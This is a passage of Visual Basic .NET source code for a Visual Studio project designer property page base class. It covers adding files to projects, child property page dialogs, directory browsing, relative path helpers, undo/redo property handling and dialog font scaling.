add</param> ''' <param name="CopyFile">If true, the file is copied to the project using DTEProject.AddFromFileCopy, otherwise DTEProject.AddFromFile is used</param> ''' <remarks>Will throw an exception on failure.</remarks> Protected Overloads Function AddFileToProject(ByVal ProjectItems As EnvDTE.ProjectItems, ByVal FileName As String, ByVal CopyFile As Boolean) As EnvDTE.ProjectItem Debug.Assert(IO.Path.IsPathRooted(FileName), "FileName passed to AddFileToProject should be a full path") 'Canonicalize the file name FileName = IO.Path.GetFullPath(FileName) 'First see if it is already in the project For Each ProjectItem As EnvDTE.ProjectItem In ProjectItems If ProjectItem.FileNames(1).Equals(FileName, StringComparison.OrdinalIgnoreCase) Then Return ProjectItem End If Next If CopyFile Then Return ProjectItems.AddFromFileCopy(FileName) Else Return ProjectItems.AddFromFile(FileName) End If End Function ''' <summary> ''' Adds the given file to the ProjectItems and sets the BuildAction property. ''' </summary> ''' <param name="ProjectItems">The ProjectsItem to add the file to</param> ''' <param name="FileName">Full path to the file to add</param> ''' <param name="CopyFile">If true, the file is copied to the project using DTEProject.AddFromFileCopy, otherwise DTEProject.AddFromFile is used</param> ''' <param name="BuildAction">The value to set the BuildAction property to (if it exists for this project).</param> ''' <remarks>Will throw an exception on failure.</remarks> Protected Overloads Function AddFileToProject(ByVal ProjectItems As EnvDTE.ProjectItems, ByVal FileName As String, ByVal CopyFile As Boolean, ByVal BuildAction As VSLangProj.prjBuildAction) As EnvDTE.ProjectItem Dim NewProjectItem As EnvDTE.ProjectItem = AddFileToProject(ProjectItems, FileName, CopyFile) If NewProjectItem IsNot Nothing Then Common.DTEUtils.SetBuildAction(NewProjectItem, BuildAction) End If Return NewProjectItem End Function ''' <summary> ''' Returns the PropPageHostDialog that is hosting the given page. ''' </summary> ''' <param name="ChildPage"></param> ''' <returns></returns> ''' <remarks></remarks> Private Function GetPropPageHostDialog(ByVal ChildPage As PropPageUserControlBase) As PropPageHostDialog Return TryCast(ChildPage.ParentForm, PropPageHostDialog) End Function ''' <summary> ''' Displays a child property page. ''' </summary> ''' <param name="title">Title to be shown for the property page.</param> ''' <param name="PageType">Type of property page class to be instantiated.</param> ''' <returns>DialogResult returned from the host dialog.</returns> ''' <remarks></remarks> Protected Function ShowChildPage(ByVal Title As String, ByVal PageType As System.Type) As DialogResult Return ShowChildPage(Title, PageType, Nothing) End Function ''' <summary> ''' Displays a child property page. ''' </summary> ''' <param name="title">Title to be shown for the property page.</param> ''' <param name="PageType">Type of property page class to be instantiated.</param> ''' <param name="F1Keyword">Help keyword. If empty or Nothing, the property page itself will be queried for the help topic.</param> ''' <returns>DialogResult returned from the host dialog.</returns> ''' <remarks></remarks> Protected Function ShowChildPage(ByVal Title As String, ByVal PageType As System.Type, ByVal F1Keyword As String) As DialogResult Dim Page As PropPageUserControlBase If m_Site Is Nothing Then Debug.Fail("Can't show a child page if we're not sited") Throw New System.InvalidOperationException End If If m_ChildPages.ContainsKey(PageType) Then 'Already created Page = m_ChildPages(PageType) 'Refresh to make sure the page has picked up all current values (even with property listening that sometimes ' can be an issue) Try Page.SetObjects(m_Objects) Catch ex As Exception When Not Common.IsUnrecoverable(ex) ShowErrorMessage(SR.GetString(SR.APPDES_ErrorLoadingPropPage) & vbCrLf & Common.DebugMessageFromException(ex)) Return DialogResult.Cancel End Try Else 'Not yet created, create, site and initialize Try Page = CType(System.Activator.CreateInstance(PageType), PropPageUserControlBase) m_ChildPages.Add(PageType, Page) Dim ChildPageSite As New ChildPageSite(Page, m_Site, m_PropPageUndoSite) Page.SetPageSite(ChildPageSite) If TypeOf Page Is IVsProjectDesignerPage Then DirectCast(Page, IVsProjectDesignerPage).SetSite(ChildPageSite) End If Page.SetObjects(m_Objects) Catch ex As Exception m_ChildPages.Remove(PageType) Common.RethrowIfUnrecoverable(ex) ShowErrorMessage(SR.GetString(SR.APPDES_ErrorLoadingPropPage) & vbCrLf & Common.DebugMessageFromException(ex)) Return DialogResult.Cancel End Try End If Dim Dialog As PropPageHostDialog = GetPropPageHostDialog(Page) If Dialog Is Nothing Then Dialog = New PropPageHostDialog(ServiceProvider, F1Keyword) Dialog.PropPage = Page End If Dialog.Text = Title Dim Result As DialogResult = DialogResult.OK ' This page may be closed before ShowDialog returns if a project reload happens (SCC / target framework change) ' Call EnterProjectCheckoutSection so that the Dispose on this page doesn't happen while the child dialog is ' up (will result in focus problems). The Dispose will happen in LeaveProjectCheckoutSection if appropriate EnterProjectCheckoutSection() Try Result = Dialog.ShowDialog() Finally LeaveProjectCheckoutSection() End Try 'It's possible the site has been torn down now (iff SCC caused a project re-load), so guard against that If m_Site IsNot Nothing Then 'Dirty state may have been changed, cancel needs to cleanup If IsPageDirty() Then m_Site.OnStatusChange(PROPPAGESTATUS.Dirty Or PROPPAGESTATUS.Validate) Else m_Site.OnStatusChange(PROPPAGESTATUS.Clean) End If End If Return Result End Function ''' <summary> ''' Browses for a directory that's relative to the project directory ''' </summary> ''' <param name="InitialDirectory">The initial directory for the dialog, relative to the project directory. Can be Nothing or empty.</param> ''' <param name="DialogTitle">The title to use for the browse dialog.</param> ''' <param name="NewValue">The newly-selected directory, relative to the project directory, if True was returned. Always returned with a backslash at the end.</param> ''' <returns>True if the user selected a directory, otherwise False.</returns> ''' <remarks></remarks> Protected Function GetDirectoryViaBrowseRelativeToProject(ByVal InitialDirectory As String, ByVal DialogTitle As String, ByRef NewValue As String) As Boolean Return GetDirectoryViaBrowseRelative(InitialDirectory, GetProjectPath(), DialogTitle, NewValue) End Function ''' <summary> ''' Browses for a directory that's relative to a given path ''' </summary> ''' <param name="RelativeInitialDirectory">The initial directory for the dialog, relative to BasePath. Can be Nothing or empty.</param> ''' <param name="BasePath">The path to which the InitialDirectory and NewValue are relative to.</param> ''' <param name="DialogTitle">The title to use for the browse dialog.</param> ''' <param name="NewRelativePath">The newly-selected directory, relative to BasePath, if True was returned. Always returned with a backslash at the end.</param> ''' <returns>True if the user selected a directory, otherwise False.</returns> ''' <remarks></remarks> Protected Function GetDirectoryViaBrowseRelative(ByVal RelativeInitialDirectory As String, ByVal BasePath As String, ByVal DialogTitle As String, ByRef NewRelativePath As String) As Boolean RelativeInitialDirectory = Trim(RelativeInitialDirectory) BasePath = Trim(BasePath) 'Make the initial path relative to the base path If BasePath <> "" Then RelativeInitialDirectory = Path.Combine(BasePath, RelativeInitialDirectory) End If If GetDirectoryViaBrowse(RelativeInitialDirectory, DialogTitle, NewRelativePath) Then 'Make the output path relative to the base path If BasePath <> "" Then NewRelativePath = GetRelativeDirectoryPath(BasePath, NewRelativePath) End If NewRelativePath = Common.Utils.AppendBackslash(NewRelativePath) Return True End If Return False End Function ''' <summary> ''' Browses for a directory. ''' </summary> ''' <param name="InitialDirectory">The initial directory for the dialog. Can be Nothing or empty.</param> ''' <param name="DialogTitle">The title to use for the browse dialog.</param> ''' <param name="NewValue">The newly-selected directory, if True was returned. Always returned with a backslash at the end.</param> ''' <returns>True if the user selected a directory, otherwise False.</returns> ''' <remarks></remarks> Protected Function GetDirectoryViaBrowse(ByVal InitialDirectory As String, ByVal DialogTitle As String, ByRef NewValue As String) As Boolean Dim Success As Boolean ' Browsing for directory. Const BIF_RETURNONLYFSDIRS As Integer = &H1 'For finding a folder to start document searching 'Const BIF_DONTGOBELOWDOMAIN As Integer = &H2 'For starting the Find Computer 'Const BIF_STATUSTEXT As Integer = &H4 'Top of the dialog has 2 lines of text for BROWSEINFO.lpszTitle and one line if ' this flag is set. Passing the message BFFM_SETSTATUSTEXTA to the hwnd can set the ' rest of the text. This is not used with BIF_USENEWUI and BROWSEINFO.lpszTitle gets ' all three lines of text. 'Const BIF_RETURNFSANCESTORS As Integer = &H8 'Const BIF_EDITBOX As Integer = &H10 'Add an editbox to the dialog 'Const BIF_VALIDATE As Integer = &H20 'Insist on valid result (or CANCEL) 'Const BIF_NEWDIALOGSTYLE As Integer = &H40 'Use the new dialog layout with the ability to resize ' Caller needs to call OleInitialize() before using this API 'Const BIF_USENEWUI As Integer = (BIF_NEWDIALOGSTYLE Or BIF_EDITBOX) 'Const BIF_BROWSEINCLUDEURLS As Integer = &H80 ' Allow URLs to be displayed or entered. (Requires BIF_USENEWUI) 'Const BIF_BROWSEFORCOMPUTER As Integer = &H1000 ' Browsing for Computers. 'Const BIF_BROWSEFORPRINTER As Integer = &H2000 ' Browsing for Printers 'Const BIF_BROWSEINCLUDEFILES As Integer = &H4000 ' Browsing for Everything 'Const BIF_SHAREABLE As Integer = &H8000 ' sharable resources displayed (remote shares, requires BIF_USENEWUI) ' Dim uishell As Microsoft.VisualStudio.Shell.Interop.IVsUIShell = _ CType(ServiceProvider.GetService(GetType(Shell.Interop.IVsUIShell).GUID), Shell.Interop.IVsUIShell) Dim DirName As String InitialDirectory = Trim(InitialDirectory) If InitialDirectory = "" Then InitialDirectory = "" Else Try 'Path needs a backslash at the end, or it will be interpreted as a directory + filename InitialDirectory = Path.GetFullPath(Common.Utils.AppendBackslash(InitialDirectory)) Catch ex As Exception When Not Common.IsUnrecoverable(ex) InitialDirectory = "" End Try End If Const MAX_DIR_NAME As Integer = 512 Dim browseinfo As Shell.Interop.VSBROWSEINFOW() Dim stringMemPtr As IntPtr = System.Runtime.InteropServices.Marshal.AllocHGlobal(MAX_DIR_NAME * 2 + 2) Try browseinfo = New Shell.Interop.VSBROWSEINFOW(0) {} browseinfo(0).lStructSize = CUInt(System.Runtime.InteropServices.Marshal.SizeOf(browseinfo(0))) browseinfo(0).hwndOwner = Me.Handle browseinfo(0).pwzInitialDir = InitialDirectory browseinfo(0).pwzDlgTitle = DialogTitle browseinfo(0).nMaxDirName = MAX_DIR_NAME browseinfo(0).pwzDirName = stringMemPtr browseinfo(0).dwFlags = BIF_RETURNONLYFSDIRS Dim hr As Integer = uishell.GetDirectoryViaBrowseDlg(browseinfo) If VSErrorHandler.Succeeded(hr) Then DirName = System.Runtime.InteropServices.Marshal.PtrToStringUni(stringMemPtr) If Microsoft.VisualBasic.Right(DirName, 1) <> System.IO.Path.DirectorySeparatorChar Then DirName &= System.IO.Path.DirectorySeparatorChar End If NewValue = DirName Success = True Else 'User cancelled out of dialog End If Finally System.Runtime.InteropServices.Marshal.FreeHGlobal(stringMemPtr) End Try Return Success End Function ''' <summary> ''' Browses for a File. ''' </summary> ''' <param name="InitialDirectory">The initial directory for the dialog. Can be Nothing or empty.</param> ''' <param name="NewValue">The newly-selected file, if True was returned.</param> ''' <param name="Filter"></param> ''' <returns>True if the user selected a file, otherwise False.</returns> ''' <remarks></remarks> Protected Function GetFileViaBrowse(ByVal InitialDirectory As String, ByRef NewValue As String, ByVal Filter As String) As Boolean Dim fileNames As ArrayList = Common.Utils.GetFilesViaBrowse(ServiceProvider, Me.Handle, InitialDirectory, SR.GetString(SR.PPG_SelectFileTitle), Filter, 0, False) If fileNames IsNot Nothing AndAlso fileNames.Count = 1 Then NewValue = CStr(fileNames(0)) Return True Else Return False End If End Function ''' <summary> ''' Gets the project's path ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetProjectPath() As String Return CStr(GetCommonPropertyValueNative("FullPath")) 'CONSIDER: This won't work for all project types, e.g. ASP.NET when project path is a URL End Function ''' <summary> ''' Returns a project-relative path, given an absolute path. ''' </summary> ''' <param name="DirectoryPath">File or Directory path to make relative</param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetProjectRelativeDirectoryPath(ByVal DirectoryPath As String) As String Return GetRelativeDirectoryPath(GetProjectPath(), DirectoryPath) End Function ''' <summary> ''' Returns a project-relative path to a file, given an absolute path. ''' </summary> ''' <param name="FilePath">File or Directory path to make relative</param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetProjectRelativeFilePath(ByVal FilePath As String) As String Return GetRelativeFilePath(GetProjectPath(), FilePath) End Function ''' <summary> ''' Given a base path and a full path to a directory, returns the path of the full path relative to the base path. Note: does ''' *not* return relative paths that begin with "..\", instead in this case it returns the original full path. ''' This is what Everett did. ''' </summary> ''' <param name="BasePath">The base path (with or without backslash at the end)</param> ''' <param name="DirectoryPath">The full path to the directory (with or without backslash at the end)</param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetRelativeDirectoryPath(ByVal BasePath As String, ByVal DirectoryPath As String) As String Dim RelativePath As String = "" BasePath = Common.Utils.AppendBackslash(BasePath) DirectoryPath = Common.Utils.AppendBackslash(DirectoryPath) If DirectoryPath = "" Then DirectoryPath = "" End If If BasePath = "" Then Return DirectoryPath End If ' Remove the project directory path If String.Compare(BasePath, VisualBasic.Left(DirectoryPath, Len(BasePath)), StringComparison.OrdinalIgnoreCase) = 0 Then Dim ch As Char = CChar(Mid(DirectoryPath, Len(BasePath), 1)) If ch = System.IO.Path.DirectorySeparatorChar OrElse ch = System.IO.Path.AltDirectorySeparatorChar Then RelativePath = Mid(DirectoryPath, Len(BasePath) + 1) ElseIf ch = ChrW(0) Then RelativePath = "" End If Else RelativePath = DirectoryPath End If Return RelativePath End Function ''' <summary> ''' Given a base path and a full path to a file, returns the path of the full path relative to the base path. Note: does ''' *not* return relative paths that begin with "..\", instead in this case it returns the original full path. ''' This is what Everett did. ''' </summary> ''' <param name="BasePath">The base path.</param> ''' <param name="FilePath">The full path.</param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetRelativeFilePath(ByVal BasePath As String, ByVal FilePath As String) As String Debug.Assert(VB.Right(FilePath, 1) <> Path.DirectorySeparatorChar AndAlso VB.Right(FilePath, 1) <> Path.AltDirectorySeparatorChar, "Passed in a directory instead of a file to RelativeFilePath") If Len(FilePath) > 0 Then Dim FileDirectory As String = System.IO.Path.GetDirectoryName(FilePath) Return Path.Combine(GetRelativeDirectoryPath(BasePath, FileDirectory), Path.GetFileName(FilePath)) Else Return "" End If End Function Protected ReadOnly Property IsUndoEnabled() As Boolean Get Return (m_PropPageUndoSite IsNot Nothing) End Get End Property #Region "Project Kind and language" ''' <summary> ''' If there is a DTEProject associated with the objects passed in to SetObjects, returns the kind of project ''' that it is (a GUID as a string). Otherwise, returns empty string. ''' </summary> ''' <value></value> ''' <remarks> ''' Don't cache this as it can change with a SetObjects call. ''' </remarks> Protected ReadOnly Property ProjectKind() As String Get Debug.Assert(m_DTEProject IsNot Nothing, "Can't get ProjectKind because DTEProject not available") If m_DTEProject IsNot Nothing Then Return m_DTEProject.Kind Else Return String.Empty End If End Get End Property ''' <summary> ''' If there is a DTEProject associated with the objects passed in to SetObjects, returns the language of project ''' that it is (a GUID as a string). Otherwise, returns empty string. ''' </summary> ''' <value></value> Protected ReadOnly Property ProjectLanguage() As String Get Debug.Assert(m_DTEProject IsNot Nothing, "Can't get ProjectLanguage because DTEProject not available") If m_DTEProject IsNot Nothing Then Dim codeModel As EnvDTE.CodeModel = m_DTEProject.CodeModel If codeModel IsNot Nothing Then Return codeModel.Language End If End If Return String.Empty End Get End Property ''' <summary> ''' Returns True iff the project associated with the properties being displayed is a VB project. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Public Function IsVBProject() As Boolean Return String.Compare(ProjectLanguage, EnvDTE.CodeModelLanguageConstants.vsCMLanguageVB, StringComparison.OrdinalIgnoreCase) = 0 End Function ''' <summary> ''' Returns True iff the project associated with the properties being displayed is a C# project. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Public Function IsCSProject() As Boolean Return String.Compare(ProjectLanguage, EnvDTE.CodeModelLanguageConstants.vsCMLanguageCSharp, StringComparison.OrdinalIgnoreCase) = 0 End Function ''' <summary> ''' Returns True iff the project associated with the properties being displayed is a J# project. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Public Function IsJSProject() As Boolean Return String.Compare(ProjectLanguage, EnvDTE80.CodeModelLanguageConstants2.vsCMLanguageJSharp, StringComparison.OrdinalIgnoreCase) = 0 End Function #End Region #Region "IVsProjectDesignerPage" Private m_PropPageUndoSite As IVsProjectDesignerPageSite ''' <summary> ''' Searches for a property control data that may be in a child page. The property name contains ''' the type of child page if the property is to be found on a child page (in the ''' format ''' ''' ChildPageFullTypeName:ChildPropertyName ''' ''' If the ChildPageFullTypeName portion exists, the property control data is retrieved from that ''' child page, otherwise it is retrieved from this page. ''' ''' Property names with this encoding are used in relation to undo/redo functionality of child pages. ''' </summary> ''' <param name="EncodedPropertyName">The property name to search, which may contain a prefix indicating it ''' should be found in a child page.</param> ''' <returns></returns> ''' <remarks>See the ChildPageSite class for more information.</remarks> Private Function GetNestedPropertyControlData(ByVal EncodedPropertyName As String) As PropertyControlData If EncodedPropertyName Is Nothing Then EncodedPropertyName = "" End If Dim NestingCharIndex As Integer = EncodedPropertyName.IndexOf(ChildPageSite.NestingCharacter) If NestingCharIndex >= 0 Then Dim NestedPageTypeName As String = EncodedPropertyName.Substring(0, NestingCharIndex) Dim NestedPropertyName As String = EncodedPropertyName.Substring(NestingCharIndex + 1) For Each Child As PropPageUserControlBase In m_ChildPages.Values If Child.GetType.FullName.Equals(NestedPageTypeName, StringComparison.Ordinal) Then 'Found the page Return Child.GetPropertyControlData(NestedPropertyName) End If Next Debug.Fail("Unable to find the page that a nested property came from") Return Nothing Else Return GetPropertyControlData(EncodedPropertyName) End If End Function ''' <summary> ''' Gets the current value for the given property. This value will be serialized using the binary serializer, and saved for ''' use later by Undo and Redo operations. ''' </summary> ''' <param name="PropertyName">The name of the property whose current value is being queried.</param> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function IVsProjectDesignerPage_GetPropertyValue(ByVal PropertyName As String) As Object Implements IVsProjectDesignerPage.GetProperty 'Return the last saved value, not the current edit Dim Data As PropertyControlData = GetNestedPropertyControlData(PropertyName) If Data Is Nothing Then Debug.Fail("IVsProjectDesignerPage.GetPropertyValue: PropertyName passed in was not recognized") Throw Common.CreateArgumentException("PropertyName") End If Dim Value As Object = Data.InitialValue If Value Is PropertyControlData.Indeterminate Then Debug.Fail("IVsProjectDesignerPage.GetProperty() should never return Indeterminate. Why isn't this property being handled through GetPropertyMultipleValues?") Return Nothing End If If Value Is PropertyControlData.MissingProperty Then Debug.Fail("IVsProjectDesignerPage.GetProperty() should never return IsMissing. How did this function get called if the property is missing?") Return Nothing End If If PropertyControlData.IsSpecialValue(Value) Then Debug.Fail("") Return Nothing End If Return Value End Function ''' <summary> ''' If the given value should be an enum but is not, converts it to the enum. ''' </summary> ''' <param name="Prop"></param> ''' <param name="Value"></param> ''' <remarks> ''' During undo/redo serialization/deserialization, enums may be converted to integral ''' types. This converts them back to an enum so that undo code will work properly. ''' </remarks> Private Sub ConvertToEnum(ByVal Prop As PropertyControlData, ByRef Value As Object) If Prop IsNot Nothing AndAlso Prop.PropDesc IsNot Nothing Then If Prop.PropDesc.PropertyType.IsEnum AndAlso Value IsNot Nothing AndAlso Not Value.GetType.IsEnum Then Value = Prop.PropDesc.Converter.ConvertTo(Value, Prop.PropDesc.PropertyType) End If End If End Sub ''' <summary> ''' Tells the property page to set the given value for the given property. This is called by the Project Designer ''' to handle Undo and Redo operations. The page should set the given property's value and also update its UI ''' for the given property. ''' </summary> ''' <param name="PropertyName">The name of the property whose current value should be changed.</param> ''' <param name="Value">The value to set into the given property.</param> ''' <remarks></remarks> Protected Overridable Sub IVsProjectDesignerPage_SetPropertyValue(ByVal PropertyName As String, ByVal Value As Object) Implements IVsProjectDesignerPage.SetProperty Debug.Assert(Not PropertyControlData.IsSpecialValue(Value)) Dim _ControlData As PropertyControlData = GetNestedPropertyControlData(PropertyName) If _ControlData Is Nothing Then Debug.Fail("IVsProjectDesignerPage.GetPropertyValue: PropertyName passed in was not recognized") Throw Common.CreateArgumentException("PropertyName") End If 'Convert to an enum if it should be but is not ConvertToEnum(_ControlData, Value) _ControlData.SetInitialValues(Value) _ControlData.SetPropertyValueNative(Value) 'Forces refresh UI from persisted property value _ControlData.InitPropertyUI() End Sub ''' <summary> ''' Returns true if the given property supports returning and setting multiple values at the same time in order to support ''' Undo and Redo operations when multiple configurations are selected by the user. This function should always return the ''' same value for a given property (i.e., it does not depend on whether multiple configurations have currently been passed in ''' to SetObjects, but simply whether this property supports multiple-value undo/redo). ''' </summary> ''' <param name="PropertyName">The name of the property.</param> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function IVsProjectDesignerPage_SupportsMultipleValueUndo(ByVal PropertyName As String) As Boolean Implements IVsProjectDesignerPage.SupportsMultipleValueUndo Dim Data As PropertyControlData = GetNestedPropertyControlData(PropertyName) If Data Is Nothing Then Debug.Fail("Couldn't find the requested property in IVsProjectDesignerPage_SupportsMultipleValueUndo") Return False End If Return SupportsMultipleValueUndo(Data) End Function ''' <summary> ''' Returns true if the given property supports returning and setting multiple values at the same time in order to support ''' Undo and Redo operations when multiple configurations are selected by the user. This function should always return the ''' same value for a given property (i.e., it does not depend on whether multiple configurations have currently been passed in ''' to SetObjects, but simply whether this property supports multiple-value undo/redo). ''' </summary> ''' <param name="Data">The PropertyControlData to check for support.</param> ''' <returns></returns> ''' <remarks></remarks> Private Function SupportsMultipleValueUndo(ByVal Data As PropertyControlData) As Boolean If Data Is Nothing Then Throw New ArgumentNullException End If Return Data.SupportsMultipleValueUndo() End Function ''' <summary> ''' Gets the current values for the given property, one for each of the objects (configurations) that may be affected by a property ''' change and need to be remembered for Undo purposes. The set of objects passed back normally should be the same objects that ''' were given to the page via SetObjects (but this is not required). ''' This function is called for a property if SupportsMultipleValueUndo returns true for that property. If ''' SupportsMultipleValueUndo returns false, or this function returns False, then GetProperty is called instead. ''' </summary> ''' <param name="PropertyName">The property to read values from</param> ''' <param name="Objects">[out] The set of objects (configurations) whose properties should be remembered by Undo</param> ''' <param name="Values">[out] The current values of the property for each configuration (corresponding to Objects)</param> ''' <returns>True if the property has multiple values to be read.</returns> ''' <remarks></remarks> Protected Overridable Function IVsProjectDesignerPage_GetPropertyMultipleValues(ByVal PropertyName As String, ByRef Objects As Object(), ByRef Values As Object()) As Boolean Implements IVsProjectDesignerPage.GetPropertyMultipleValues Dim Data As PropertyControlData = GetNestedPropertyControlData(PropertyName) If Data Is Nothing OrElse Data.IsMissing Then Throw Common.CreateArgumentException("PropertyName") End If If Not SupportsMultipleValueUndo(Data) Then Debug.Fail("Shouldn't have been called for multiple values if we don't support it") Throw New NotSupportedException End If Objects = Data.RawPropertiesObjects 'We need the raw objects, not the extended objects Values = Data.AllInitialValuesExpanded Debug.Assert(Values IsNot Nothing) If Values.Length <> Objects.Length Then Debug.Fail("Unexpected length of properties array in relation to its configurations") Throw New Package.InternalException End If Return True End Function ''' <summary> ''' Tells the property page to set the given values for the given properties, one for each of the objects (configurations) passed ''' in. This property is called if the corresponding previous call to GetPropertyMultipleValues succeeded, otherwise ''' SetProperty is called instead. ''' Note that the Objects values are not required to be a subset of the objects most recently passed in through SetObjects. ''' </summary> ''' <param name="propertyName">The name of the property whose values (across multiple configurations) should be changed.</param> ''' <param name="objects">The set of objects (configurations) which should have their value changed for the given property.</param> ''' <param name="values">The set of new values which correspond to the set of objects passed in.</param> ''' <remarks></remarks> Protected Overridable Sub IVsProjectDesignerPage_SetPropertyValueMultipleValues(ByVal PropertyName As String, ByVal Objects() As Object, ByVal Values() As Object) Implements IVsProjectDesignerPage.SetPropertyMultipleValues If Objects Is Nothing OrElse Objects.Length = 0 OrElse Values Is Nothing OrElse Values.Length <> Objects.Length Then Debug.Fail("unexpected") Throw Common.CreateArgumentException("Objects, Values") End If Dim Data As PropertyControlData = GetNestedPropertyControlData(PropertyName) If Data Is Nothing OrElse Data.IsMissing Then Throw Common.CreateArgumentException("PropertyName") End If If Not SupportsMultipleValueUndo(Data) Then Debug.Fail("Shouldn't have been called for multiple values if we don't support it") Throw New NotSupportedException End If 'Convert values to an enum if they should be but are not For i As Integer = 0 To Values.Length - 1 ConvertToEnum(Data, Values(i)) Next Data.SetInitialValues(Values) Data.SetPropertyValueNativeMultipleValues(Objects, Values) 'Forces refresh UI from persisted property value Data.InitPropertyUI() End Sub ''' <summary> ''' Provides the property page undo site to the property page ''' </summary> ''' <param name="site"></param> ''' <remarks></remarks> Private Sub IVsProjectDesignerPage_SetSite(ByVal Site As IVsProjectDesignerPageSite) Implements IVsProjectDesignerPage.SetSite m_PropPageUndoSite = Site End Sub ''' <summary> ''' Finish all pending validations ''' </summary> ''' <returns></returns> ''' <remarks> ''' Return false if validation failed, and the customer wants to fix it (not ignore it) ''' </remarks> Private Function FinishPendingValidations() As Boolean Implements IVsProjectDesignerPage.FinishPendingValidations Return ProcessDelayValidationQueue(False) End Function ''' <summary> ''' Called when the page is activated or deactivated ''' </summary> ''' <param name="activated">True if the page has been activated, or False if it has been deactivated.</param> ''' <remarks></remarks> Private Sub OnActivated(ByVal activated As Boolean) Implements IVsProjectDesignerPage.OnActivated If m_activated <> activated Then m_activated = activated OnPageActivated(activated) End If End Sub ''' <summary> ''' Called when the page is activated or deactivated ''' </summary> ''' <param name="activated"></param> ''' <remarks></remarks> Protected Overridable Sub OnPageActivated(ByVal activated As Boolean) End Sub #End Region Private Function OnModeChange(ByVal dbgmodeNew As Shell.Interop.DBGMODE) As Integer Implements Shell.Interop.IVsDebuggerEvents.OnModeChange Me.UpdateDebuggerStatus(dbgmodeNew) End Function ''' <summary> ''' Pick font to use in this dialog page ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected ReadOnly Property GetDialogFont() As Font Get If ServiceProvider IsNot Nothing Then Dim uiSvc As IUIService = CType(ServiceProvider.GetService(GetType(IUIService)), IUIService) If uiSvc IsNot Nothing Then Return CType(uiSvc.Styles("DialogFont"), Font) End If End If Debug.Fail("Couldn't get a IUIService... cheating instead :)") Return Form.DefaultFont End Get End Property ''' <summary> ''' Set font and scale page accordingly ''' </summary> ''' <remarks></remarks> Protected Overridable Sub ScaleWindowToCurrentFont() SetDialogFont(PageRequiresScaling) End Sub ''' <summary> ''' ''' </summary> ''' <param name="msg"></param> ''' <param name="wParam"></param> ''' <param name="lParam"></param> ''' <returns></returns> ''' <remarks></remarks> Private Function OnBroadcastMessage(ByVal msg As UInteger, ByVal wParam As System.IntPtr, ByVal lParam As System.IntPtr) As Integer Implements Shell.Interop.IVsBroadcastMessageEvents.OnBroadcastMessage If msg = Interop.win.WM_SETTINGCHANGE Then If Me.IsHandleCreated Then m_ScalingCompleted = False SetDialogFont(PageRequiresScaling) End If End If End Function ''' <summary> ''' Set font and scale page accordingly ''' </summary> ''' <remarks></remarks> Protected Overridable Sub SetDialogFont(ByVal ScaleDialog As Boolean) If ManualPageScaling Then Exit Sub End If 'Only scale once If m_ScalingCompleted Then Return End If 'Set flag now whether we succeed or not m_ScalingCompleted = True ' Update font & scale accordingly... Dim Dialog As Control = CType(Me, Control) If Dialog Is Nothing Then Debug.Fail("Couldn't get Control to display to the user") Return End If If Dialog.Controls.Count() >= 1 Then Dim OldFont As Font = Me.Font Dim NewFont As Font = GetDialogFont() If Not OldFont.Equals(NewFont) OrElse Me.ManualPageScaling Then If ScaleDialog Then 'WARNING: This is no longer the recommended code path for a property 'WARNING: page. This code manually tries to scale controls on the 'WARNING: page according to font. But it does not handle table layout 'WARNING: panels well. 'WARNING: Instead it is recommended to turn this off by setting 'WARNING: PageRequiresScaling to False and setting AutoScaleMode to 'WARNING: AutoScaleMode.Font in the page. #If False Then 'CONSIDER: Unfortunately, some project flavor pages hit this, causing suite failures, ' and it is late to fix them for this product cycle. But this assertion should be ' enabled in the future and any failures should be fixed up. Debug.Assert(MyBase.AutoScaleMode <> AutoScaleMode.Font, _ "Warning: This property page has AutoScaleMode set to Font, but is " _ & "also set up to have the page scale controls. The recommendation is " _ & "to use AutoScaleMode.Font and turn off the page's scaling by setting PageRequiresScaling to False") #End If 'Note: Some pages still use this (e.g., the Security page) Dim OldSize As SizeF = GetFontScaleSize(OldFont) Dim NewSize As SizeF = GetFontScaleSize(NewFont) Dim dx As Single = NewSize.Width / OldSize.Width Dim dy As Single = NewSize.Height / OldSize.Height Dialog.Scale(New SizeF(dx, dy)) Dialog.Font = NewFont ' Adjust Minimum/MaximunSize Dim maxSize As Size = MaximumSize If Me.AutoSize Then MinimumSize = GetPreferredSize(System.Drawing.Size.Empty) Else MinimumSize = ScaleSize(MinimumSize, dx, dy) End If If Not MaximumSize.IsEmpty Then MaximumSize = ScaleSize(maxSize, dx, dy) End If Else Dialog.Font = NewFont End If End If End If End Sub ''' <summary> ''' Calculate Font Size to scale the page ''' NOTE: We copied from WinForm ''' </summary> Private Shared Function GetFontScaleSize(ByVal font As Font) As SizeF Dim dx As Single = 9.0 Dim dy As Single = font.Height Try Using graphic As Graphics = Graphics.FromHwnd(IntPtr.Zero) Dim magicString As String = "The quick brown fox jumped over the lazy dog." Dim magicNumber As Double = 44.549996948242189 ' chosen for compatibility with older versions of windows forms, but approximately magicString.Length Dim stringWidth As Single = graphic.MeasureString(magicString, font).Width dx = CType(stringWidth / magicNumber, Single) End Using Catch ex As OutOfMemoryException ' We may get an bogus OutOfMemoryException ' (which is a critical exception - according to ClientUtils.IsCriticalException()) ' from GDI+. So we can't use ClientUtils.IsCriticalException here and rethrow. End Try Return New SizeF(dx, dy) End Function ''' <summary> ''' NOTE: We override GetPreferredSize, because the one from WinForm doesn't do the job correctly. ''' We should consider to remove it if WinForm team fixes the issue ''' </summary> Public Overrides Function GetPreferredSize(ByVal startSize As Size) As Size Dim preferredSize As Size = MyBase.GetPreferredSize(startSize) If Controls.Count() = 1 AndAlso Controls(0).Dock = DockStyle.Fill Then startSize.Width = Math.Max(startSize.Width - Padding.Horizontal, 0) startSize.Height = Math.Max(startSize.Height - Padding.Vertical, 0) Dim neededSize As Size = Controls(0).GetPreferredSize(startSize) neededSize += Padding.Size preferredSize.Width = Math.Max(neededSize.Width, preferredSize.Width) preferredSize.Height = Math.Max(neededSize.Height, preferredSize.Height) End If Return preferredSize End Function ''' <summary> ''' Scales a given size with the provided 